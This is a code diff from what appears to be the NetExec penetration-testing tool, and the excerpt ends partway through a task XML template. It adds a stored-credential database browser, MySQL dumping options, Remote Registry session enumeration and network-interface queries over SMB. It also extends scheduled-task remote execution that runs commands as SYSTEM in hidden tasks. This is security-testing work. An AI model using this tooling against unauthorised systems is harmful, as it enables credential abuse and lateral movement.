||||
def get_loggedin_relations(self, cred_id=None, host_id=None):
|
||||
q = select(self.LoggedinRelationsTable)
|
||||
if cred_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id)
|
||||
if host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def remove_loggedin_relations(self, cred_id=None, host_id=None):
|
||||
q = delete(self.LoggedinRelationsTable)
|
||||
if cred_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id)
|
||||
elif host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
self.db_execute(q)
|
||||
@@ -0,0 +1,181 @@
|
||||
from nxc.nxcdb import DatabaseNavigator, print_table, print_help
|
||||
|
||||
|
||||
class navigator(DatabaseNavigator):
|
||||
def display_creds(self, creds):
|
||||
data = [
|
||||
[
|
||||
"CredID",
|
||||
"Total Logins",
|
||||
"Username",
|
||||
"Password",
|
||||
]
|
||||
]
|
||||
|
||||
for cred in creds:
|
||||
total_users = self.db.get_loggedin_relations(cred_id=cred[0])
|
||||
data.append(
|
||||
[
|
||||
cred[0],
|
||||
str(len(total_users)) + " Host(s)",
|
||||
cred[1],
|
||||
cred[2],
|
||||
]
|
||||
)
|
||||
print_table(data, title="Credentials")
|
||||
|
||||
def display_hosts(self, hosts):
|
||||
data = [
|
||||
[
|
||||
"HostID",
|
||||
"Total Users",
|
||||
"Host",
|
||||
"Port",
|
||||
"Banner",
|
||||
]
|
||||
]
|
||||
|
||||
for h in hosts:
|
||||
total_users = self.db.get_loggedin_relations(host_id=h[0])
|
||||
data.append(
|
||||
[
|
||||
h[0],
|
||||
str(len(total_users)) + " User(s)",
|
||||
h[1],
|
||||
h[2],
|
||||
h[3],
|
||||
]
|
||||
)
|
||||
print_table(data, title="Hosts")
|
||||
|
||||
def do_hosts(self, line):
|
||||
filter_term = line.strip()
|
||||
|
||||
if filter_term == "":
|
||||
hosts = self.db.get_hosts()
|
||||
self.display_hosts(hosts)
|
||||
else:
|
||||
hosts = self.db.get_hosts(filter_term=filter_term)
|
||||
|
||||
if len(hosts) > 1:
|
||||
self.display_hosts(hosts)
|
||||
elif len(hosts) == 1:
|
||||
data = [["HostID", "Host", "Port", "Banner"]]
|
||||
host_id_list = [h[0] for h in hosts]
|
||||
|
||||
data += [[h[0], h[1], h[2], h[3]] for h in hosts]
|
||||
|
||||
print_table(data, title="Host")
|
||||
|
||||
login_data = [["CredID", "UserName", "Password"]]
|
||||
for host_id in host_id_list:
|
||||
login_links = self.db.get_loggedin_relations(host_id=host_id)
|
||||
|
||||
for link in login_links:
|
||||
_, cred_id, host_id = link
|
||||
creds = self.db.get_credentials(filter_term=cred_id)
|
||||
for cred in creds:
|
||||
cred_data = [cred[0], cred[1], cred[2]]
|
||||
if cred_data not in login_data:
|
||||
login_data.append(cred_data)
|
||||
|
||||
if len(login_data) > 1:
|
||||
print_table(
|
||||
login_data,
|
||||
title="Credential(s) with Logins",
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def help_hosts():
|
||||
help_string = """
|
||||
hosts [filter_term]
|
||||
By default prints all hosts
|
||||
Table format:
|
||||
| 'HostID', 'Host', 'Port', 'Banner' |
|
||||
"""
|
||||
print_help(help_string)
|
||||
|
||||
def do_creds(self, line):
|
||||
filter_term = line.strip()
|
||||
|
||||
if filter_term == "":
|
||||
creds = self.db.get_credentials()
|
||||
self.display_creds(creds)
|
||||
elif filter_term.split()[0].lower() == "add":
|
||||
# add format: "username password"
|
||||
args = filter_term.split()[1:]
|
||||
|
||||
if len(args) == 2:
|
||||
username, password = args
|
||||
self.db.add_credential(username, password)
|
||||
else:
|
||||
print("[!] Format is 'add username password")
|
||||
return
|
||||
elif filter_term.split()[0].lower() == "remove":
|
||||
args = filter_term.split()[1:]
|
||||
if len(args) != 1:
|
||||
print("[!] Format is 'remove <credID>'")
|
||||
return
|
||||
else:
|
||||
self.db.remove_credentials(args)
|
||||
self.db.remove_loggedin_relations(user_ids=args)
|
||||
else:
|
||||
creds = self.db.get_credentials(filter_term=filter_term)
|
||||
if len(creds) != 1:
|
||||
self.display_creds(creds)
|
||||
elif len(creds) == 1:
|
||||
cred_data = [["CredID", "UserName", "Password"]]
|
||||
cred_id_list = []
|
||||
|
||||
for cred in creds:
|
||||
cred_id = cred[0]
|
||||
cred_id_list.append(cred_id)
|
||||
username = cred[1]
|
||||
password = cred[2]
|
||||
|
||||
cred_data.append([cred_id, username, password])
|
||||
print_table(cred_data, title="Credential(s)")
|
||||
|
||||
access_data = [["HostID", "Host", "Port", "Banner"]]
|
||||
|
||||
for cred_id in cred_id_list:
|
||||
logins = self.db.get_loggedin_relations(cred_id=cred_id)
|
||||
|
||||
for link in logins:
|
||||
_, cred_id, host_id = link
|
||||
hosts = self.db.get_hosts(host_id)
|
||||
access_data += [[h[0], h[1], h[2], h[3]] for h in hosts]
|
||||
|
||||
# we look if it's greater than one because the header row always exists
|
||||
if len(access_data) > 1:
|
||||
print_table(access_data, title="Access to Host(s)")
|
||||
|
||||
def help_creds(self):
|
||||
help_string = """
|
||||
creds [add|remove|filter_term]
|
||||
By default prints all creds
|
||||
Table format:
|
||||
| 'CredID', 'Login To', 'UserName', 'Password' |
|
||||
Subcommands:
|
||||
add - format: "add username password"
|
||||
remove - format: "remove <credID>"
|
||||
filter_term - filters creds with filter_term
|
||||
If a single credential is returned (e.g. `creds 15`, it prints the following tables:
|
||||
Credential(s) | 'CredID', 'UserName', 'Password' |
|
||||
Access to Host(s) | 'HostID', 'Host', 'Port', 'Banner'
|
||||
Otherwise, it prints the default credential table from a `like` query on the `username` column
|
||||
"""
|
||||
print_help(help_string)
|
||||
|
||||
def do_clear_database(self, line):
|
||||
if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y":
|
||||
self.db.clear_database()
|
||||
|
||||
@staticmethod
|
||||
def help_clear_database():
|
||||
help_string = """
|
||||
clear_database
|
||||
THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE
|
||||
YOU CANNOT UNDO THIS COMMAND
|
||||
"""
|
||||
print_help(help_string)
|
||||
@@ -0,0 +1,14 @@
|
||||
from nxc.helpers.args import DisplayDefaultsNotNone
|
||||
|
||||
|
||||
def proto_args(parser, parents):
|
||||
mysql_parser = parser.add_parser("mysql", help="own stuff using MySQL", parents=parents, formatter_class=DisplayDefaultsNotNone)
|
||||
mysql_parser.add_argument("--port", type=int, default=3306, help="MySQL port")
|
||||
|
||||
cgroup = mysql_parser.add_argument_group("Database Operations", "Options for interacting with MySQL databases")
|
||||
cgroup.add_argument("-q", "--query", metavar="SQL_QUERY", help="Execute a custom SQL query")
|
||||
cgroup.add_argument("--databases", action="store_true", help="List all databases")
|
||||
cgroup.add_argument("--tables", metavar="DATABASE", help="List tables in specified database")
|
||||
cgroup.add_argument("--dump-database", "--dump", dest="dump_database", metavar="DATABASE", help="Dump database structure and data")
|
||||
cgroup.add_argument("--server-capabilities", "--capabilities", dest="server_capabilities", action="store_true", help="Get server capabilities")
|
||||
return parser
|
||||
@@ -516,7 +516,7 @@ class nfs(connection):
|
||||
def get_root_handles(self, mount_fh):
|
||||
"""
|
||||
Get possible root handles to escape to the root filesystem
|
||||
Sources:
|
||||
Sources:
|
||||
https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L47-L62
|
||||
https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
|
||||
https://github.com/hvs-consulting/nfs-security-tooling/blob/main/nfs_analyze/nfs_analyze.py
|
||||
|
||||
+250
-61
@@ -2,6 +2,8 @@ import ntpath
|
||||
import binascii
|
||||
import os
|
||||
import re
|
||||
import struct
|
||||
import ipaddress
|
||||
from Cryptodome.Hash import MD4
|
||||
|
||||
from impacket.smbconnection import SMBConnection, SessionError
|
||||
@@ -32,7 +34,7 @@ from impacket.krb5 import constants
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
|
||||
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE
|
||||
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, SMB2_0_IOCTL_IS_FSCTL
|
||||
from impacket.dcerpc.v5 import tsts as TSTS
|
||||
|
||||
from nxc.config import process_secret, host_info_colors
|
||||
@@ -63,7 +65,7 @@ from dploot.triage.credentials import CredentialsTriage
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
|
||||
|
||||
from time import time, ctime
|
||||
from time import time, ctime, sleep
|
||||
from traceback import format_exc
|
||||
from termcolor import colored
|
||||
import contextlib
|
||||
@@ -124,6 +126,7 @@ class smb(connection):
|
||||
self.pvkbytes = None
|
||||
self.no_da = None
|
||||
self.no_ntlm = False
|
||||
self.null_auth = False
|
||||
self.protocol = "SMB"
|
||||
self.is_guest = None
|
||||
self.isdc = False
|
||||
@@ -172,9 +175,11 @@ class smb(connection):
|
||||
|
||||
try:
|
||||
self.conn.login("", "")
|
||||
self.null_auth = True
|
||||
except BrokenPipeError:
|
||||
self.logger.fail("Broken Pipe Error while attempting to login")
|
||||
except Exception as e:
|
||||
self.null_auth = False
|
||||
if "STATUS_NOT_SUPPORTED" in str(e):
|
||||
# no ntlm supported
|
||||
self.no_ntlm = True
|
||||
@@ -288,8 +293,9 @@ class smb(connection):
|
||||
def print_host_info(self):
|
||||
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
|
||||
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
|
||||
ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1}) {ntlm}")
|
||||
ntlm = colored(f" (NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
|
||||
null_auth = colored(f" (Null Auth:{self.null_auth})", host_info_colors[2], attrs=["bold"]) if self.null_auth else ""
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1}){ntlm}{null_auth}")
|
||||
|
||||
if self.args.generate_hosts_file or self.args.generate_krb5_file:
|
||||
if self.args.generate_hosts_file:
|
||||
@@ -1106,7 +1112,7 @@ class smb(connection):
|
||||
procInfo["pSid"],
|
||||
f"{procInfo['WorkingSetSize'] // 1000:,} K",
|
||||
)
|
||||
|
||||
|
||||
try:
|
||||
with TSTS.LegacyAPI(self.conn, self.host, self.kerberos) as legacy:
|
||||
try:
|
||||
@@ -1141,10 +1147,151 @@ class smb(connection):
|
||||
# If a process was suppliad to args.tasklist and it was not found, we print a fail message
|
||||
if self.args.tasklist is not True and not found_task:
|
||||
self.logger.fail(f"Didn't find process {self.args.tasklist}")
|
||||
|
||||
|
||||
except SessionError:
|
||||
self.logger.fail("Cannot list remote tasks, RDP is probably disabled.")
|
||||
|
||||
def reg_sessions(self):
|
||||
|
||||
def output(sessions):
|
||||
if sessions:
|
||||
# Calculate max lengths for formatting
|
||||
maxSidLen = max(len(key) + 1 for key in sessions)
|
||||
maxSidLen = max(maxSidLen, len("SID") + 1)
|
||||
maxUsernameLen = max(len(vals["Username"] + vals["Domain"]) + 1 for vals in sessions.values()) + 1
|
||||
maxUsernameLen = max(maxUsernameLen, len("USERNAME") + 1)
|
||||
|
||||
# Create the template for formatting
|
||||
template = (f"{{USERNAME: <{maxUsernameLen}}} {{SID: <{maxSidLen}}}")
|
||||
|
||||
# Create headers
|
||||
header = template.format(USERNAME="USERNAME", SID="SID")
|
||||
header2 = template.replace(" <", "=<").format(USERNAME="", SID="")
|
||||
|
||||
# Store result
|
||||
result = [header, header2]
|
||||
|
||||
for sid, vals in sessions.items():
|
||||
username = vals["Username"]
|
||||
domain = vals["Domain"]
|
||||
user_full = f"{domain}\\{username}" if username else ""
|
||||
|
||||
row = template.format(USERNAME=user_full, SID=sid)
|
||||
result.append(row)
|
||||
|
||||
self.logger.success("Remote Registry enumerated sessions")
|
||||
for row in result:
|
||||
self.logger.highlight(row)
|
||||
else:
|
||||
self.logger.info(f"No active session found for specified user(s) using the Remote Registry service on {self.hostname}.")
|
||||
|
||||
# Bind to the Remote Registry Pipe
|
||||
rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\winreg", smb_connection=self.conn)
|
||||
for binding_attempts in range(2, 0, -1):
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
try:
|
||||
dce.connect()
|
||||
dce.bind(rrp.MSRPC_UUID_RRP)
|
||||
break
|
||||
except SessionError as e:
|
||||
self.logger.debug(f"Could not bind to the Remote Registry on {self.hostname}: {e}")
|
||||
if binding_attempts == 1: # Last attempt
|
||||
self.logger.info(f"The Remote Registry service seems to be disabled on {self.hostname}.")
|
||||
return
|
||||
# STATUS_PIPE_NOT_AVAILABLE : Waiting 1 second for the service to start (if idle and set to 'Automatic' startup type)
|
||||
sleep(1)
|
||||
|
||||
# Open HKU hive
|
||||
try:
|
||||
resp = rrp.hOpenUsers(dce)
|
||||
except DCERPCException as e:
|
||||
if "rpc_s_access_denied" in str(e).lower():
|
||||
self.logger.info(f"Access denied while enumerating session using the Remote Registry on {self.hostname}.")
|
||||
return
|
||||
else:
|
||||
self.logger.fail(f"Exception connecting to RPC on {self.hostname}: {e}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Exception connecting to RPC on {self.hostname}: {e}")
|
||||
|
||||
# Enumerate HKU subkeys and recover SIDs
|
||||
sid_filter = "^S-1-.*\\d$"
|
||||
exclude_sid = ["S-1-5-18", "S-1-5-19", "S-1-5-20"]
|
||||
|
||||
key_handle = resp["phKey"]
|
||||
index = 1
|
||||
sessions = {}
|
||||
|
||||
while True:
|
||||
try:
|
||||
resp = rrp.hBaseRegEnumKey(dce, key_handle, index)
|
||||
sid = resp["lpNameOut"].rstrip("\0")
|
||||
if re.match(sid_filter, sid) and sid not in exclude_sid:
|
||||
self.logger.info(f"User with SID {sid} is logged in on {self.hostname}")
|
||||
sessions.setdefault(sid, {"Username": "", "Domain": ""})
|
||||
index += 1
|
||||
except rrp.DCERPCSessionError as e:
|
||||
if "ERROR_NO_MORE_ITEMS" in str(e):
|
||||
self.logger.debug(f"No more items found in HKU on {self.hostname}.")
|
||||
break
|
||||
else:
|
||||
self.logger.fail(f"Error enumerating HKU subkeys on {self.hostname}: {e}")
|
||||
break
|
||||
|
||||
rrp.hBaseRegCloseKey(dce, key_handle)
|
||||
dce.disconnect()
|
||||
|
||||
if not sessions:
|
||||
self.logger.info(f"No sessions found via the Remote Registry service on {self.hostname}.")
|
||||
return
|
||||
|
||||
# Bind to the LSARPC Pipe for SID resolution
|
||||
rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\lsarpc", smb_connection=self.conn)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
try:
|
||||
dce.connect()
|
||||
dce.bind(lsat.MSRPC_UUID_LSAT)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Failed to connect to LSARPC for SID resolution on {self.hostname}: {e}")
|
||||
output(sessions)
|
||||
return
|
||||
|
||||
# Resolve SIDs with names
|
||||
policy_handle = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)["PolicyHandle"]
|
||||
try:
|
||||
resp = lsat.hLsarLookupSids(dce, policy_handle, sessions.keys(), lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("STATUS_SOME_NOT_MAPPED") >= 0:
|
||||
resp = e.get_packet()
|
||||
self.logger.debug(f"Could not resolve some SIDs: {e}")
|
||||
else:
|
||||
resp = None
|
||||
self.logger.debug(f"Could not resolve SID(s): {e}")
|
||||
|
||||
if resp:
|
||||
for sid, item in zip(sessions.keys(), resp["TranslatedNames"]["Names"], strict=False):
|
||||
if item["DomainIndex"] >= 0:
|
||||
sessions[sid]["Username"] = item["Name"]
|
||||
sessions[sid]["Domain"] = resp["ReferencedDomains"]["Domains"][item["DomainIndex"]]["Name"]
|
||||
|
||||
# Filter for usernames
|
||||
if self.args.reg_sessions:
|
||||
arg = self.args.reg_sessions
|
||||
if os.path.isfile(arg):
|
||||
with open(arg) as f:
|
||||
usernames = [line.strip().lower() for line in f if line.strip()]
|
||||
else:
|
||||
usernames = [arg.lower()]
|
||||
|
||||
filtered_sessions = {}
|
||||
for sid, info in sessions.items():
|
||||
if info["Username"].lower() not in usernames:
|
||||
continue
|
||||
else:
|
||||
filtered_sessions[sid] = info
|
||||
output(filtered_sessions)
|
||||
else:
|
||||
output(sessions)
|
||||
|
||||
def shares(self):
|
||||
temp_dir = ntpath.normpath("\\" + gen_random_string())
|
||||
temp_file = ntpath.normpath("\\" + gen_random_string() + ".txt")
|
||||
@@ -1259,7 +1406,7 @@ class smb(connection):
|
||||
self.logger.display("Enumerated shares")
|
||||
self.logger.highlight(f"{'Share':<15} {'Permissions':<15} {'Remark'}")
|
||||
self.logger.highlight(f"{'-----':<15} {'-----------':<15} {'------'}")
|
||||
|
||||
|
||||
for share in permissions:
|
||||
name = share["name"]
|
||||
remark = share["remark"]
|
||||
@@ -1290,74 +1437,116 @@ class smb(connection):
|
||||
full_path = ntpath.join(self.args.dir, content.get_longname())
|
||||
self.logger.highlight(f"{'d' if content.is_directory() else 'f'}{'rw-' if content.is_readonly() > 0 else 'r--':<8}{content.get_filesize():<15}{ctime(float(content.get_mtime_epoch())):<30}{full_path:<45}")
|
||||
|
||||
@requires_admin
|
||||
def interfaces(self):
|
||||
"""
|
||||
Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
|
||||
Made by: @Sant0rryu, @NeffIsBack
|
||||
Enumeratie active network interfaces via SMB
|
||||
Made by Ilya Yatsenko (@fulc2um)
|
||||
"""
|
||||
try:
|
||||
remoteOps = RemoteOperations(self.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
self.logger.display("Starting network interface enumeration")
|
||||
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
|
||||
sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
|
||||
tree_id = self.conn.connectTree("IPC$")
|
||||
|
||||
self.logger.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
|
||||
for sub_key in sub_keys:
|
||||
interface = {}
|
||||
FSCTL_QUERY_NETWORK_INTERFACE_INFO = 0x001401FC
|
||||
|
||||
response = self.conn._SMBConnection.ioctl(
|
||||
tree_id,
|
||||
fileId=None,
|
||||
ctlCode=FSCTL_QUERY_NETWORK_INTERFACE_INFO,
|
||||
flags=SMB2_0_IOCTL_IS_FSCTL,
|
||||
inputBlob=b"",
|
||||
maxOutputResponse=8192
|
||||
)
|
||||
|
||||
if response:
|
||||
self.logger.success("Retrieved network interface data")
|
||||
|
||||
# Parse FSCTL_QUERY_NETWORK_INTERFACE_INFO response data
|
||||
if not response:
|
||||
self.logger.fail("No data to parse")
|
||||
return
|
||||
|
||||
# Parse and group interfaces
|
||||
grouped_interfaces = {}
|
||||
offset = 0
|
||||
|
||||
while offset < len(response) and offset + 152 <= len(response):
|
||||
try:
|
||||
interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
|
||||
interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
|
||||
# Parse NETWORK_INTERFACE_INFO structure
|
||||
next_offset = struct.unpack("<L", response[offset:offset + 4])[0]
|
||||
if_index = struct.unpack("<L", response[offset + 4:offset + 8])[0]
|
||||
capabilities = struct.unpack("<L", response[offset + 8:offset + 12])[0]
|
||||
link_speed = struct.unpack("<Q", response[offset + 16:offset + 24])[0]
|
||||
|
||||
# Retrieve Interace Name
|
||||
interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
|
||||
interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
|
||||
interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
|
||||
interface["Name"] = str(interface_name)
|
||||
if "Kernel" in interface_name:
|
||||
continue
|
||||
# Socket address (SockAddr_Storage at offset+24)
|
||||
family = struct.unpack("<H", response[offset + 24:offset + 26])[0]
|
||||
|
||||
# Retrieve DHCP
|
||||
try:
|
||||
dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
|
||||
except DCERPCException:
|
||||
dhcp_enabled = False
|
||||
interface["DHCP"] = bool(dhcp_enabled)
|
||||
if family == 0x0002: # IPv4
|
||||
ip_bytes = response[offset + 28:offset + 32]
|
||||
ip_addr = ipaddress.IPv4Address(ip_bytes)
|
||||
addr_info = f"IPv4: {ip_addr}"
|
||||
elif family == 0x0017: # IPv6
|
||||
ip6_bytes = response[offset + 32:offset + 48]
|
||||
ip_addr = ipaddress.IPv6Address(ip6_bytes)
|
||||
addr_info = f"IPv6: {ip_addr}"
|
||||
else:
|
||||
addr_info = f"Unknown family: 0x{family:04x}"
|
||||
|
||||
# Retrieve IPAddress
|
||||
try:
|
||||
ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
ip_address = None
|
||||
interface["IPAddress"] = ip_address if ip_address else None
|
||||
# Group by interface index
|
||||
if if_index not in grouped_interfaces:
|
||||
caps = []
|
||||
if capabilities & 0x01:
|
||||
caps.append("RSS")
|
||||
if capabilities & 0x02:
|
||||
caps.append("RDMA")
|
||||
|
||||
# Retrieve SubnetMask
|
||||
try:
|
||||
subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
subnetmask = None
|
||||
interface["SubnetMask"] = subnetmask if subnetmask else None
|
||||
grouped_interfaces[if_index] = {
|
||||
"capabilities": caps,
|
||||
"link_speed": link_speed,
|
||||
"addresses": []
|
||||
}
|
||||
|
||||
# Retrieve DefaultGateway
|
||||
try:
|
||||
default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
default_gateway = None
|
||||
interface["DefaultGateway"] = default_gateway if default_gateway else None
|
||||
grouped_interfaces[if_index]["addresses"].append(addr_info)
|
||||
|
||||
self.logger.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
|
||||
if next_offset == 0:
|
||||
break
|
||||
|
||||
except DCERPCException as e:
|
||||
self.logger.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
|
||||
offset = next_offset if next_offset > offset else offset + next_offset
|
||||
if offset >= len(response):
|
||||
break
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
remoteOps.finish()
|
||||
except DCERPCException as e:
|
||||
self.logger.error(f"Failed to connect to the target: {e!s}")
|
||||
except (struct.error, IndexError) as e:
|
||||
self.logger.fail(f"Error parsing interface at offset {offset}: {e}")
|
||||
break
|
||||
|
||||
# Display interfaces
|
||||
if not grouped_interfaces:
|
||||
self.logger.fail("No network interfaces found")
|
||||
return
|
||||
|
||||
self.logger.highlight(f"Found {len(grouped_interfaces)} network interface(s)")
|
||||
|
||||
for i, if_index in enumerate(sorted(grouped_interfaces.keys())):
|
||||
iface = grouped_interfaces[if_index]
|
||||
caps_str = ", ".join(iface["capabilities"]) if iface["capabilities"] else "None"
|
||||
speed_mbps = iface["link_speed"] / 1000000
|
||||
|
||||
self.logger.display(f"Interface {i + 1} (Index: {if_index}):")
|
||||
self.logger.display(f" - Capabilities: {caps_str}")
|
||||
self.logger.display(f" - Speed: {speed_mbps:.0f} Mbps")
|
||||
self.logger.display(" - Addresses:")
|
||||
|
||||
for addr in iface["addresses"]:
|
||||
prefix = " -"
|
||||
self.logger.display(f"{prefix} {addr}")
|
||||
else:
|
||||
self.logger.fail("No response data received")
|
||||
|
||||
self.conn.disconnectTree(tree_id)
|
||||
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error during network interface enumeration: {e}")
|
||||
self.logger.fail(f"Full error: {e}", exc_info=True)
|
||||
|
||||
def get_dc_ips(self):
|
||||
dc_ips = [dc[1] for dc in self.db.get_domain_controllers(domain=self.domain)]
|
||||
@@ -1366,7 +1555,7 @@ class smb(connection):
|
||||
return dc_ips
|
||||
|
||||
def smb_sessions(self):
|
||||
self.logger.fail("[REMOVED] Use option --qwinsta or --loggedon-users")
|
||||
self.logger.fail("[REMOVED] Use option --reg-sessions --qwinsta or --loggedon-users")
|
||||
return
|
||||
|
||||
def disks(self):
|
||||
|
||||
+109
-107
@@ -1,15 +1,18 @@
|
||||
import os
|
||||
from textwrap import dedent
|
||||
from impacket.dcerpc.v5 import tsch, transport
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.paths import TMP_PATH
|
||||
from time import sleep
|
||||
from datetime import datetime, timedelta
|
||||
|
||||
|
||||
class TSCH_EXEC:
|
||||
def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
|
||||
def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None,
|
||||
# These options are used by the schtask_as module, except the run_task_as
|
||||
# that defaults to NT AUTHORITY\System user (SID S-1-5-18) if not specified
|
||||
run_task_as="S-1-5-18", run_cmd=None, output_filename=None, task_name=None, output_file_location=None):
|
||||
self.__target = target
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
@@ -28,6 +31,13 @@ class TSCH_EXEC:
|
||||
self.__share = share
|
||||
self.logger = logger
|
||||
|
||||
# Optional args for finetuning the task execution, e.g. used in nxc/modules/schtask_as.py
|
||||
self.task_name = task_name if task_name else gen_random_string(8)
|
||||
self.run_task_as = run_task_as
|
||||
self.run_cmd = run_cmd
|
||||
self.output_filename = output_filename
|
||||
self.output_file_location = output_file_location
|
||||
|
||||
if hashes is not None:
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if hashes.find(":") != -1:
|
||||
@@ -69,49 +79,49 @@ class TSCH_EXEC:
|
||||
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
|
||||
return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
|
||||
|
||||
def gen_xml(self, command, fileless=False):
|
||||
def gen_xml(self, command):
|
||||
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
|
||||
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||
<Triggers>
|
||||
<RegistrationTrigger>
|
||||
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
|
||||
</RegistrationTrigger>
|
||||
</Triggers>
|
||||
<Principals>
|
||||
<Principal id="LocalSystem">
|
||||
<UserId>S-1-5-18</UserId>
|
||||
<RunLevel>HighestAvailable</RunLevel>
|
||||
</Principal>
|
||||
</Principals>
|
||||
<Settings>
|
||||
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
|
||||
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
|
||||
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
|
||||
<AllowHardTerminate>true</AllowHardTerminate>
|
||||
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
|
||||
<IdleSettings>
|
||||
<StopOnIdleEnd>true</StopOnIdleEnd>
|
||||
<RestartOnIdle>false</RestartOnIdle>
|
||||
</IdleSettings>
|
||||
<AllowStartOnDemand>true</AllowStartOnDemand>
|
||||
<Enabled>true</Enabled>
|
||||
<Hidden>true</Hidden>
|
||||
